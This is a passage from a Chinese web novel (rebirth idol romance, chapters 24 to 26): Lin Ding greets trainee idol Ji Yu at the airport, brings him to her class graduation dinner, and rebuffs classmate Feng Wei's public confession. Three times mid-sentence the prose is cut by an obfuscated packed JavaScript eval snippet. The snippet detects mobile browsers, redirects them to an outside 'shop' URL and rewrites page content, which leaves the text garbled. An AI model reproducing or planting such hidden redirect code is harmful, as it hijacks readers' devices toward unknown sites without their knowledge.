“哇!戴无极!!!!啊啊啊啊啊啊啊老公啊啊啊啊啊啊啊!!!!!” 林定回眸。 只见几位身姿挺拔、气质出众的男生,正拖着行李箱朝这边快速走来。她一眼就认出了首当其冲的那位正是问鼎娱乐力捧的solo艺人戴无极,紧随其后的是前世ATW组合里的两个队员任声声和许栖铜,还有几个未成团,后来各自发展的熟悉面孔…… 然后,她看到了活力阳光的顾蓝。 最后,她的目光定在了那个她魂牵梦绕的人身上。 纪屿。 纪屿走在队伍偏后的位置。 比起两年前,在唱片店遇见的他,眼前的纪屿身形更挺拔了些,脸部线条愈发清晰利落。简单的穿着掩盖不住他身上的独特气场,他只是拖着行李箱和其他人一起安静地走着,可在林定眼中却光芒四射。 林定的眼眶瞬间就红了。 今天真是个好日子。 他回来了,他好好的回来了。 她做了很强大的心理斗争,才将那股想爆哭的劲和想要大喊出来的名字吞回了喉咙里。 林定呆呆地站在原地,贪婪地看着远处的纪屿,心跳失了节奏。 可是,下一秒,她就被身后戴无极的粉丝冲撞的差点摔倒。她生气地看向前方——戴无极那边被粉丝团团围住,好多小姑娘给他送信送礼物;可纪屿和其他的练习生身边,冷冷清清,一个人都没有。 林定感到心疼又愤怒。 难道前世,他就是这样,孤独地踏上归国的路,面对空荡荡的接机口吗?! 身后一个小姐姐拍了拍林定的肩膀,问她道:“你也是无极的粉丝吧,我能跟你一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16715848|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起去送花吗?” ??? 林定荒谬地看了她一眼,用气愤的声调反对道:“我才不是!” 那小姐姐被她的声音吓到,小声嘀咕道:“什么啊……”然后很无语地翻了个白眼。 林定下定决心了。 刚才那些莫名其妙的克制,在这一刻显得十分可笑和无意义了。 这一世,他不是一个人。 他有粉丝。?而我就是他的粉丝! 她大声地告诉身边的人: “我是纪屿的粉丝!!!” 所有的顾虑在此时被她抛到九霄云外了。 林定再也顾不上其他,她迈开双腿,推着那笨重的小车和鲜花,朝着她那颗独自发光、却无人喝彩的星星奔去。 见面的感觉真的是太美好了。无论是上一世穿越人海奔向有他在的演唱会场馆,还是这一世在机场的奔赴。好像,只要是在奔向他的路上,她的心中就充满了快乐的感觉。 “纪屿!” 她望着他,他也看向了她。 * 从飞机落地开始,经纪人就反复叮嘱所有人注意仪态,说会有粉丝会来接机。顾蓝凑到纪屿耳边,压低声音抱怨道:“这话分明就是说给戴无极听的。破公司根本没公布我们的行程,只透给了戴无极的后援会。我们肯定又是他的背景板,没人会来的,唉。” 纪屿瞥了他一眼,本不想搭话,但看见顾蓝眼底深深的失落,心下一软,轻声安慰:“以后你会有很多粉丝。珍惜这最后一次自己走在机场上的机会吧。” “承你吉言啦,”顾蓝撇撇嘴,“希望我们真能顺利出道。” 纪屿没有接话,拿出了手机。 邮箱里没有新邮件。 他盯着屏幕,有些出神。 那个女生刚结束高考,现在正和同学们庆祝吧,应该还没看到他的留言。 一行人沉默地取行李、过关、安检,整套流程下来已是近晚上八点。戴无极的脚步明显轻快了起来,大概是因为知道前方有粉丝在等他。果然,刚到接机大厅,一群小姑娘就呼喊着戴无极的名字涌了上来,将他围住。戴无极立刻换上标准的偶像笑容,与粉丝们亲切互动,与私下里刻薄的模样判若两人。 顾蓝用只有纪屿能听到的音量骂了一嘴,随即突然停住,呆呆地撞了撞纪屿的手肘:“那边……好像有粉丝朝我们跑过来了?会是我的粉丝吗?” 纪屿顺着顾蓝的目光望去。 接机大厅的灯光明亮如昼,一个穿着白色连衣裙的女孩正推着机场的小推车朝他们跑来。车上那个硕大的纸箱里,盛放着满满一箱向日葵花束,明艳的花瓣在灯光下散发金灿灿的光泽,就好像将整个盛夏的阳光都收集到了一起。 就像她一样。 隔着两年的时光与跨洋的网线,他从未意识到记忆里那个在唱片店里支支吾吾、在邮件里絮絮叨叨的小女孩,已经长成了花季少女。 或许是学业繁重,她瘦了不少,也长高了些。 心里好像有一块位置奇怪地颤动了一下。 他真没想到会在这里遇见她。他在邮件里所说的见面,本意是指他回国后,有时间有机会相见。他不知道她会这样猝不及防地出现在机场,以……如此灿烂的方式。 然而,一丝不确定让他感到不再自信。?是他过于自作多情了吗?也许人家根本就没看到邮件,只是来机场准备考后旅行…… 一向自认为遇事冷静的纪屿,此刻的情绪竟乱了分寸。 “她不是你的粉丝。”他故作平静地对顾蓝说。 顾蓝愣了一下,平日里纪屿从不会与他争这口舌之快,可今日……? “难不成是你的……?” 顾蓝的话语尚未落地,那个推着向日葵的女孩已经跑近,她微微喘息,朝着他们的方向,清晰地喊出了一个名字: “纪屿!” 她的声音清亮,也充满力量。 纪屿看清了她的笑颜。 24.24 靠近 林定喘着气在纪屿面前停了下来,忽然想起什么似的,从口袋里摸出一个新口罩,手忙脚乱地拆包装戴上,遮住了自己的半张脸。 纪屿刚张口:“定……”话还没说完,就看到林定紧张地左右看看,然后对他竖起了食指,比了一个“嘘”的手势。 不能让别人拍到的,林定心想。 这是偶像回国发展的特殊时期,万一被有心人拍到她来送花,搞出什么黑料或是莫须有的绯闻就不好了。她自己被网暴也就罢了,最怕就是连累了他的名声。 纪屿看着她这一连串动作,虽有一些不解,但想到这女孩向来都有些常理之外的行为,倒也觉得合理了。他的目光落在那一车开的极好的向日葵上,语气变得温柔了起来:“送我的?” 林定点点头,抬头望着这张心心念念的脸庞。隔着口罩,她露出一个傻乎乎的笑容,还好被口罩挡住了。 “谢谢,”纪屿顿了顿,看她匆忙的赶来的样子,觉得要解释一下邮件,“我邮件里的意思其实……”话到了嘴边,却又顿住。 现在解释,又好像没有什么意义了。 她已经来了,而他……感到高兴。 听他提到邮件,林定急急道:“我考完试才看到邮件……路上特别堵,我还以为赶不上了……”她的声音里带着一点委屈和难过。 一旁的顾蓝,刚开始还在郁闷着,自家兄弟啥时候有了这么个粉丝呢,可听到发邮件,再看这两人像是认识了很久的样子,他才醒悟到,这人应该不是粉丝了。他盯着林定左看右看,越看越觉得好眼熟,但是又想不起来在哪里见过呢……顾蓝挠挠头,插话道:“我们是不是在哪里见过?” 纪屿皱眉,以为顾蓝在用老套的方式搭讪林定,于是他用手肘撞了一下他的胸口,顾蓝痛得“嗷嗷”了两声。 林定紧张了起来。 想起去年海滩上,她和顾蓝可是撞了个满怀……她赶紧把口罩往上拉了一下,尴尬地回应道:“应该……没有吧。” 顾蓝哼哼了两声,语气好像吃了梅子似的:“纪屿,你就好啦,有小粉丝来接你这么贴心啊……” “她不是。”纪屿淡淡道。 我怎么不是了! 我是啊! 我真是啊! 林定在内心疯狂反驳,表面却只是微微一笑,笑而不语。 顾蓝撇撇嘴,咕哝道:“行行行,不是粉丝,还给你送这么多花,真好啊。” “给你介绍一下,”纪屿转向林定,唇角勾起浅浅的笑,打断了顾蓝的碎碎念,“这是我的同期练习生,顾蓝。”然后朝顾蓝看去,语气平淡地对他说:“她是我出国前就认识的朋友。” 想到刚才顾蓝的搭讪行为,纪屿便不想将她的名字告诉顾蓝了。 “哦哦,你好顾蓝……幸会幸会,你红了记得给我签几个名……”林定吐了吐舌头,心想,现在签也行啊,顾蓝未来可是有很多粉丝的,现在收几个初代签名,之后嘛,自己就又能卖出去爆金币啦!! 她伸出手想和顾蓝握手,可顾蓝刚抬手,纪屿却将自己的行李箱拉杆塞进了他的手中:“你帮我拿着,”然后他低头,轻轻俯身,探究地看着林定,问道:“你要他的签名?” 林定真的受不了偶像这突如其来的近距离。 在她本就不知如何回答的时候,她不争气的肚子很大声的叫了起来。 纪屿勾嘴一笑。 “你吃饭了吗,一起吃饭吧。” “啊?你要跟她去吃饭啊?那我们说好的水煮鱼呢?!”顾蓝在一旁大叫。 林定一惊,什么,偶像,和她,吃饭? 虽然她内心有一千个、一万个、一亿个愿意,但好像…… “嗯……我,我想起来,要去毕业聚餐,我们班长定了包厢……” “毕业?”顾蓝收起了方才的抱怨,忽然就来了精神,好奇道,“小妹妹,你今年多大了?” 纪屿用没有温度的眼神扫了一眼顾蓝。 林定前世,还真没觉得顾蓝这么……烦人。 她曾经还以为,顾蓝是个高冷Rapper呢,看来都是人设啊…… “十八了,”她不想多说,“我今天刚高考完。” “地址给我。我们有车,送你过去。”纪屿自然地接过林定手中的行李小推车,两人的手指在交接之时,不经意间轻轻碰到了一起。 林定感觉心跳又乱了。 她洗完澡,因为急着出门,穿的是随手在衣柜里抓来的裙子。 机场的冷气很足,裙子很短,她的手脚早就一片冰凉了,而手指尖在此时传来的温热触碰感,正在真真切切地在提醒她——她期盼了这么久的人,真的,回来了。 纪屿也察觉到她的手很冷,目光扫过她单薄的连衣裙,沉默不语地就脱下自己的外套,披在了她的肩上。 随后,他又微微俯身,声音比刚才更近了一些:“你们在哪里聚餐?” 林定感觉自己的呼吸系统都不太正常了,她低头,不敢直视他的眼睛,声音很小:“我们在G市一中旁边的食街,宵湾路川菜馆。” 顾蓝一听到“川菜馆”三个字,眼睛睁得大大地,兴奋起来,一巴掌拍在了纪屿的背上,把俯身的纪屿给拍直了:“那正好啊!我们本就是要去吃水煮鱼的,不如就在她隔壁桌呗,她聚她的餐,我们吃我们的,嘿嘿。” 纪屿无奈地看了他一眼,思索了一下,道:“我没问题,”他看向林定,将目光落在她脸上,轻声问道:“可以吗?” 这这这…… 当然是可以啊,她怎么会介意呢!?! 林定只知道自己快要爆炸了,偶像老是靠这么近说话……虽然这是她梦寐以求的,但她真的承受不住这样的近距离暴击,她这凡人之躯顶不住啊…… “当然可以,”她抬起头,努力地让自己的声音保持正常音调,“那家店很好吃的,也很火爆。我给我同学打个电话,让她帮你们预留个位置?不然可能要排号了。”她一边说着,一边悄悄往后挪了小半步,与偶像拉开了一点点安全距离。 “好。”纪屿柔和地应道,将她后退半步的举动收在了眼底,心下不禁一笑。 想起两年前,在唱片店里的她,也是这样与他保持距离的。 他自己也说不清了,为何今日会不自觉地靠近这个女孩。 是因为她与自己音乐同频吗? 还是因为这两年邮件的往来,让他们有了独特的羁绊吗? 还是说,她今日这接机的动作让他有所触动…… 又或者是…… 因为她是自己重生以来,唯一的未知数,所以他忍不住想去探究? 纷乱的思绪,好像很难理清了。 他索性不再细想。 顾蓝推着两人的行李,纪屿则推着那辆载满向日葵的小推车,向车辆接客区走去。 那边只剩下公司为他们安排的一辆七座车还在等着他们,戴无极和其他练习生好像都已经离开了。 司机热情地下车帮忙放置行李,看了眼一旁的林定,没有多问。 三个男人将行李和那一箱向日葵放入了后备箱中,林定帮不上忙,只能尴尬地站在车旁,绞着自己的手指,直到车尾箱关闭,她才跟着一起上了车。 车内有淡淡的清香袭来,也不知是车载香氛的味道,还是后尾那些花儿带着的自然香气。 顾蓝在第二排坐下,林定则跟着纪屿在第三排落座了。 顾蓝探头对司机说道:“大哥,前面几辆车怎么走这么快啊?” 司机憨厚地回道:“好多粉丝追车啊,他们不走快点的话,根本动不了了。” 顾蓝的语气瞬间就酸了起来:“唉,人家戴无极啊,就是好,Solo艺人嘛,众星捧月呗。”他转过头,带着一些试探,朝林定问道,“妹妹啊,你们现在这个年纪的小姑娘,好多都喜欢戴无极噢,你也喜欢他不?” 喜欢戴无极? 林定一听,感觉被冒犯了似的,一时没忍住,也忘记要维持形象了,语气特别不善,脱口而出:“他?就他?真不知道是怎么红的,我喜欢他还不如喜欢成子秋呢。”在她看来,戴无极这种没实力的资源咖,是真的上不了台面的。虽然她讨厌纪屿的对家成子秋,但成子秋还是有些实力在的,可是若要拿戴无极和成子秋相比……在她看来,戴无极给成子秋提鞋都不配。 顾蓝吃了一惊,没想到这女孩的性子竟是如此。但她这话直接说到了他心坎上,顾蓝立刻竖起了拇指称赞道:“真有眼光啊!成子秋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16732458|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确实比戴无极强一百倍,我也喜欢成子秋!” 一旁的纪屿却轻轻挑眉,想起她之前那般调侃过成子秋,便看向林定,声音里听不出情绪:“定定,你以前不是不看好成子秋吗,怎么,现在又觉得他不错?” 林定一僵,这才反应过来自己刚刚在说什么,脸颊马上烧红了,她急急辩解道:“不不不!没有的事!我就是,呃,只是打个比方,做个比较而已。” 顾蓝刚才还对这姑娘有点戒备,此刻见她贬低了自己讨厌的人,瞬间就觉得找到了家人。他笑着对纪屿说:“你这小朋友,真有意思的,”他又转向林定,道:“原来你叫定定啊?把口罩摘了呗小妹妹,我们不会嫌弃你长痘烂脸的。” 林定简直要被顾蓝的低情商气死,这是一个明星该说的话吗?抛开明星不提,这样说人家也很没礼貌好吗!而且,她戴口罩是因为烂脸吗? 她像是急于证明什么似的,一把将口罩扯了下来,气鼓鼓地说:“我没长痘!谁跟你说戴口罩就是烂脸了,还有,我不叫定定!” 顾蓝就盯着她没有口罩遮挡的脸,疑惑地说:“我们……真的没见过吗?” “可能是我长了一张大众脸吧。”林定干巴巴地回答,内心疯狂祈祷,顾蓝可千万千万不要想起海边那桩糟心事。 纪屿见顾蓝一直缠着林定说话,有一丝不快,便推了顾蓝一把:“看前面。转过来容易晕车。” 顾蓝哼了一声,喊司机播放他喜欢的摇滚乐了。 车里瞬间就被热浪般的音乐填满。 没了口罩的遮挡,纪屿微微侧头,看向身旁的女孩。 她虽不像圈内那些女明星一样美丽明艳,但她的长相清甜元气,看着十分舒适可爱。纪屿勾了勾嘴角,转移了话题:“你不是要给同学打电话吗?” “哦哦哦,对对对……”林定掏出手机,却发现之前在家里没充进去多少电,赶来机场的时候,又一直在查航班信息,现在这破手机又没电关机了。 纪屿见状,将自己的手机递了过去。 “用我的打吧,定定,”顿了顿,侧身低声道:“可你说,你不叫定定?” 林定脸一红,想起来当初在唱片店,是自己太紧张,口齿不清,会员卡才被纪屿登记成了“林定定”,从而导致纪屿一直“亲昵”地叫她定定。 而她也一直没有纠正过来。 她默默地把包包里的学生卡拿出来,递给了纪屿。 纪屿看了一眼那乖巧的证件照,和那二字姓名。 “嗯,没什么区别。” 纪屿淡淡道,把学生卡还给她,然后把手机放在她手里,“打电话吧。锁屏密码是3030。” 林定呆呆接过,“哦哦……”她一边应着,一边心里闪过了小小的疑惑,这数字有什么含义吗? 不对不对,这不是她该探究的事! 她解锁了屏幕,映入眼帘的是系统自带的壁纸。 她暗暗松了口气,还好,还好,不是什么女明星的照片…… 电话接通,她刚开口,晓春就劈头盖脸一顿骂:“你手机怎么又又又关机了!我还以为你什么出事了!你去哪了啊,什么时候到?还有,你拿谁的手机打的电话?” “我在路上了,可能九点前才能到……”她简短地说,避开了其他问题,“晓春,你能帮我和老板说,再多留一个包房吗?我朋友也要来吃,大概九点左右到,帮忙预留个位置呗。” “哈?你哪个朋友啊?我怎么不知道!你瞒着我什么了,你现在该不会是偷偷摸摸跟谁约会去了吧?快说是谁!”邓晓春的嗓音巨大,差些就要震透耳膜。 林定在她答应后,赶紧挂了电话。 “你的朋友,中气很足。”顾蓝锐评道,他在第二排都听到了电话里的咆哮声。 林定尴尬一笑,能不足吗,晓春可是纪检部的标杆啊,喊了三年“做眼操”呢。 她小心翼翼地将手机还给纪屿,可没想到,纪屿却将之轻轻推回。 “你的电话号码,存一下。”他注视着林定,补充道:“这是我国内新办的手机号,方便联系。” 林定握着这台有偶像手心余温的手机,感觉自己在做一个真实又难以置信的梦。 还是个能让人心跳失控的梦。 25.25 撕渣 七座车驶上高速后,车内便无人说话了,只有顾蓝的歌单在响亮地播放着,夹杂着他断断续续的哼唱。然而,对于和纪屿并肩坐在第三排的林定来说,她根本无心听音乐,她无比紧张,只听得见纪屿近在咫尺的均匀呼吸声。 该死…… 她在心里哀嚎,这难道就是爱屋及乌么?她竟然会觉得纪屿的呼吸声很好听,这真的正常吗…… 她手指狂摁那部没电关机的手机开机键,想试图转移注意力,可手机一点都不争气。最终,她只好无奈地把它丢到一边,转头看向窗外的夜景了。 也许是因为晚高峰结束,回去的路况很是通畅,与来时那令人抓狂的拥堵形成了强烈的对比。 和林定预估的时间差不多,九点整,他们就抵达了宵湾路川菜馆所在的巷子附近。巷子太窄,车没办法往前开了,顾蓝拜托司机帮他们把行李运回练习生公寓后,三人就在巷尾下车了。 林定目送着车辆驶远,直到顾蓝的声音响起:“你看什么呢,带路呗,我们没来过。” 她回神一转脸,恰好撞进了纪屿看向她的目光之中。 他唇角牵起一个好看的弧度,声音很低,可林定听起来却很清晰:“向日葵,我会好好插起来的。” 林定耳根微热,点了点头。她刚才看车其实不是那个意思……她慌忙伸出手指向巷子深处:“就在前面,不远了。”说完,她就迈开步子,抢在两人前面,生怕自己窘迫的模样被他们瞧见。 穿过五六家店铺,那家宵湾路川菜馆便出现了。前世毕业后,她便再未踏足此地,因为那段不愉快的记忆对林定来说始终是一根刺。 她看到了在门口着急张望的邓晓春。 “你可算是来了!菜都上齐咯,你没机会点菜啦!”晓春嘟着嘴,气呼呼地叉着腰。 林定可没忘记身后的重要人物,她对晓春抱歉地笑笑,问道:“晓春,给我朋友预留的包厢在哪,我想先带他们过去。” 邓晓春疑惑地皱起眉,心想,你带了什么朋友啊这么神秘,视线便越过了林定的肩膀。 下一秒,她整个人愣在原地。 只见林定身后,两位身高腿长、气质不凡的男生,正一前一后地向她们走近。走在前面的那一位,眉目张扬,一脸阳光,自带一股青春无限的活力感,是那种走在街上,都会让人忍不住目不转睛的帅气。而后面的那位,棱角分明,身姿挺拔,气质清冷出众,周身的气场仿佛自带结界,让人不敢轻易上前与他搭话。这两人的出现,刷新了晓春对美男子的认知,突然就觉得自个那位阳光型体育生男友变得……有些普通。 林定看着邓晓春眼神发直的模样,忍俊不禁。她想起来,上辈子,晓春也是纪屿的粉丝,这一世有机会提前见面,不知她还会不会还跟她一起粉呢?可是……看这情形,她貌似盯着顾蓝的时间更久诶?眼见邓晓春迟迟不语,面露花痴,林定暗道不好,赶紧从包里掏出了两个新的口罩,给纪屿和顾蓝分别递上。 “饭店里,人多口杂,人多口杂。”她小声解释。 纪屿眼中有一些讶异,他没想到,林定考虑到了他们的身份。两人接过,戴上口罩,遮住了半张俊俏的脸,但美貌和气质却难以遮盖。 “喂,回魂了!”林定轻轻捏了捏邓晓春的脸颊,将她从幻想中拽了回来。 邓晓春眨了眨眼,意识回来,忙说:“啊,对了,包间……老板说没有单独的了,今晚生意太好啦。但是我们班那个大包间里,还有一张空桌,老板在中间用屏风隔开了,可以吗?”她面朝林定说,但目光却忍不住往那两人身上偷看。 林定询问地看向纪屿,他没来得及开口,顾蓝就抢先回答了:“没问题没问题,饿死了,能吃上饭就行的!” 一行人随着邓晓春走进饭店。林定还是有些担忧,她抬头对纪屿小声说:“那个……屏风隔音可能不太行哦,我们班同学,吃饭可能会比较吵……” 纪屿低下头,目光在她脸上停留了片刻,道:“没关系。”他的声音透过口罩传来。 邓晓春趁机凑到林定耳边,用低声激动地问:“我去,你朋友什么来头啊,长得也太好看了吧。” 林定没打算瞒她,嘴巴无声地做了个口型:“纪、屿。” “啊!是他!”邓晓春手动捂住自己的嘴,才没喊出声,这名字她听了数遍,只知道是林定的那个糊糊偶像,没想到她竟然能见到本人……紧接着,她追问:“哪个啊?” “高一点的那个。” “哦~~~~”邓晓春拖长了音,眼神里是玩味和兴奋。 上了二楼的包厢门口,林定示意纪屿和顾蓝先进去。邓晓春在一旁补充道:“我们班那些男生啊,比较八卦,要是看到我们和你们一起进去,肯定要闹翻天了。会吵死的。” “好嘞,那我们先进啦。”顾蓝爽快地应道,拉着纪屿就推门而入。 纪屿在进门前,脚步顿了顿,回头看了林定一眼。 那眼神…… 苍天啊……她在内心哀叹,两年积攒的人品值,可别在这一天就干光了啊! 她还没能从那个复杂的眼神中想明白,邓晓春九已经一把挽住了她的胳膊:“哎呀好啦,别看了!他们都进去了,我们也进去吃饭吧!”说着,便将那还有些神情恍惚的林定,拉进了包厢里。 宵湾路川菜馆是典型的中式装修,木质桌椅,传统陶瓷茶具,就连那临时搭建的屏风都是古代韵味。林定进门后,便朝屏风的方向望了一眼,那屏风把后面遮挡得很严实,什么都看不到。 “哟!林定,你可算来了!我还以为你掉家里马桶里了!”何纯嘴贱的声音立刻响起,引来同学们的一阵爆笑。 林定自然不会和何纯计较。上辈子的今天,还是何纯替她出了头。邓晓春立刻就骂了回去:“何纯,你能不能好好说话!” 在一片笑闹声中,她和林定在空位坐了下来,屏风恰好就在她们身后。 班级聚餐的气氛逐渐升温,笑声、哭闹声交织成在一起,为高中三年的同窗共读画上了句号。 川菜馆老板颇为负责,面对这群学生的酒水点单,严格查验了每个人的身份证,确保在座的都是十八岁以上,才肯下单。 班长将斟满的酒杯放在她面前,叮嘱她悠着点,“知道了班长。”她对班长笑笑。 前世的她,早已习惯了在加班后深夜回到家中,靠酒精来麻痹自己工作上的不愉快,换取片刻睡眠。虽然重生后,她并未喝过酒,但此刻,她知道自己的酒量有几斤几两,完全能够把控住,绝不会再像上辈子那样,因几杯酒就失态地大哭流泪了。 不知过了多久,包厢内的气氛更加浓烈。 有人抱头痛哭,有人借着酒劲大胆表白,连晓春都和她男友猫在角落里吻得如胶似漆。 林定只觉得没眼看,她悠哉悠哉地坐在位置上吃着老板送来的水果,偶尔回头,看一眼那安安静静地屏风。 一个身影停在她面前。 “林定,毕业快乐啊。我们终于可以有无忧无虑的长暑假了。” 她抬起眼,是冯维。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16739519|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那个她前世喜欢了很久的男生,正端着酒杯,坐在了晓春的空位上。 这一世,林定已经尽力避免与他产生交集了,甚至连学习小组也不愿意和他组,生怕再次产生不必要的误会。林定看了他一眼,只想着速战速决,于是礼貌地举杯碰了一下,语气十分疏离:“毕业典礼还没举行,只是考完试而已。” 冯维笑了笑,竟将椅子又朝她拉近了些。 他想干什么?林定的眉头瞬间紧锁。 前世就是这个晚上,这个人的言行彻彻底底地摧毁了她的心情。她现在都这样躲着他了,这人为什么还阴魂不散呢?她心里嫌恶得很,表面平静如水,她倒要看看,冯维会搞出什么名堂来。 “我发现……你好像一直在躲着我。”冯维把酒杯放在了桌上,手指轻轻叩着杯壁。 林定心想,你还挺聪明,知道我在躲你。 他继续道:“其实,从分班开始,我就觉得……你很特别,”林定勾了勾嘴角,不接话,只看着他表演,“后来,我发现自己变得好奇怪。我好像越来越在意你的一举一动了……” 在此时,包厢里其他人的说话声都戛然而止,所有目光都看向了他们这边,完全就是吃瓜群众的姿态。 林定心道不妙,干巴巴地打断他:“谢谢关心。我学习还不错,关注班里的好学生,很正常的。” 她的脑海里,同时闪回当初在厕所听到的那轻蔑的话。 “林定好看又如何?也就那样……我早知道她喜欢我,她不行啊,性格都不温柔,也不是听话的那种女生……成绩还差。算了,我还想追级花呢,你们不觉得级花和我才是绝配吗?” 再反观眼前。 多么,多么荒谬。 冯维摇头,语气显得很是深情:“不,不只是学习。我真的很在意你……林定,我每天想你想到快疯了。” 他深吸一口气,又向林定靠近了一些:“你知道吗?我常常后悔。那一天,在球场砸到你,却没有好好道歉,也没亲自送你去医务室。你一定还在怪我,所以才总是躲着我……” 哇塞,真是普信男天花板。林定在心里疯狂吐槽,到底是谁给他的自信呢? 冯维见她一直不说话,有些着急地再坐近了一点,直直道:“林定,我真的很喜欢你,你可不可以做我的女朋友?” “哈哈。”林定没忍住,直接冷笑了一声,这明显的嘲讽让周围的人都愣住了,大家开始窃窃私语起来。 真是太可笑了吧。上辈子她给了真心,却被冯维当成向他人炫耀的资本;此时这看似情深的表白,又能有几分真呢? 她强忍着爆粗口的冲动,捏起酒杯,语气平淡无温度:“冯维,你的好意我心领了,不过抱歉,不可以,我不接受。” 周围一片哗然,冯维收起了刚才深情的模样,变得有一些慌乱,他急促问道:“为什么啊?” 林定顿了一顿,微微歪头,直视着冯维,轻声反问道: “可是我觉得好奇怪诶,你说你用篮球砸到过我……真的,有这回事吗?我怎么一点印象都没有了……该不会……你砸的人不是我,是你自己记错了吧?我见过,你砸过极花,还有校花。” 林定的语气轻飘飘的,语言却像一把锋利的刃剑,刺破了冯维口中那段有缘的共同回忆。 屏风之后,纪屿原本把玩着杯子的手指微微一顿。 随即,他的唇角悄然勾起一抹弧度。 这个在他面前,总是带着几分乖巧的女孩,竟然还有这样伶俐带刺的一面。 26.26 牵手 林定的话说完,包厢内的空气都变得凝固了。她与邓晓春的眼神碰上,晓春会意,轻轻推开了身旁的男友,快步走到林定身边,挽住了她的手臂。 “真好笑,”晓春扬声道,“她什么时候被你用球砸过?冯维你肯定是记错人啦!”她举起酒杯,试图缓和紧张的气氛,想让这场表白戏赶紧收场,“大家别围着了,继续来干杯呀~” 可冯维却并不想就此打住,他用力的一掌拍在桌面上,震得餐桌上的碗碟因碰撞而发出声响。他先前的深情已然消失,现正怒视着晓春,语气冰冷地呵斥:“你走开吧!这是我和林定之间的事。” 郑智昊见状,立刻上前推了冯维一把:“你凶我女朋友算什么本事?” 班长也打圆场,忙按住冯维,笑道:“和气一点和气一点,今天班级聚餐嘛,有话都好好说,好好说……” 眼看局面即将失控,林定拍了拍晓春的手背,随即站起身,目光平静地看向冯维:“冯维,你在生气什么?” “我生气什么?”冯维的态度越来越差劲,他推开班长,盯着林定,“你还在装傻吗?你一直躲着我,不就是因为也在意我吗?不然为什么每次我看你,你都要移开视线呢?你这样,你这样就是为了引起我的注意,对不对?林定,我知道你也喜欢我的,你为什么不敢承认……” 林定只觉得眼前的这个人像个丑恶嘴脸的小丑,荒唐至极。她轻轻“呵”了一声,语气嘲讽: “呃……我请问呢,我走路绕开泥坑,是因为我喜欢泥坑吗?” 本还有更直白的比喻,但是她觉得在饭桌上讲出来实在是有点不礼貌,不然这包厢就能飘出厕所味来了。 此话一出,周围吃瓜的同学们好多都想笑出声,却又碍于冯维越来越难看的脸色,只能努力憋笑,好几个人都憋得肩膀直颤。 冯维气急败坏:“你……你怎么能……”他猛地向前逼近一步,大伙儿惊呼一声,那家伙和林定之间竟只剩一拳距离。 林定没有退缩,她毫无惧色地迎上他的目光。 冯维咬牙切齿道:“为什么?你……到底为什么不喜欢我?” 林定简直想当场翻个白眼。 但也感慨,年轻真好,还能简简单单地谈喜欢,还可以不顾他人眼光在这里声嘶力竭地质问这一切。 她想起,前世晓春在她二十五岁生日的时候,给她送了好多本童话书。当时她还取笑道,这么大了还看童话吗? 当时的晓春说,觉得林定太累了,希望她多读一些,希望她能再次相信,世界上还是有很多美好的事情的。 好像出来工作后,“喜欢”这种词汇,就和理性开始交织相随了。她见过同事的爱情,搁浅在996的潮汐之中,也见过好友的恋情,止步于门当户对与消费观的鸿沟里。而她自己,连看一场演唱会都请不到假,若那时谈起恋爱来,又该让对方如何地迁就她,她又该如何平衡工作和感情呢?在那996的深渊里,与她日夜相对的同事,根本擦不起火花来,下班之后,疲累的身躯也无力支撑其他的social…… 眼前的冯维,固然讨厌,但林定的心中竟生出一分羡慕来。 一旁的何纯,打断了她的沉思,他将林定向后一拽,为她把与冯维之间的危险距离拉远了。何纯大概是想帮腔来着,可话说出口却变了味:“冯维,算了吧!林定早有喜欢的人了,你没戏啦!” 这话让包括林定在内的所有人都愣住了。 何纯见到冯维震惊又疑惑的眼光,随即补充道:“她手机屏保就是那个人啊!你啊,肯定比不过的,死心吧……” 林定感到好笑又无语。手机屏保是纪屿没错,作为粉丝,她当然喜欢偶像啦……可这话在此情此景下被说出来,她有点尴尬,毕竟正主就在屏风之后。 唉,自己的形象也是没了,这般荒诞的好戏也是让偶像吃上瓜了。 等等…… 她下意识地摸了摸口袋,心里猛地一沉: 手机呢? 口袋空空如也! 她这才想起来,手机好像落在纪屿公司的车上了…… 晓春见林定竟然没解释,还以为林定也是想用这个借口来结束这场闹剧,于是她补刀道:“是啊是啊!我是她的晓春,我比谁都清楚,何纯说的是真的。冯维你非要问为什么的话,我可以告诉你。她喜欢的那个人,比你好一千倍、一万倍,别再纠缠了,你这样咄咄逼人的样子,真的很难看,也很让人讨厌!” 被邓晓春这般当众连番职责,冯维脸上那点残存的震惊和不解都瓦解了。他恶狠狠地瞪向晓春,语气尖酸刻薄道: “哈,是吗?她那该死的眼光,不会和你邓晓春一样烂吧?类似隔壁班这种垃圾货色?”他手指毫不客气地直指晓春的男友郑智昊,郑智昊一呆,一时不知如何回怼。 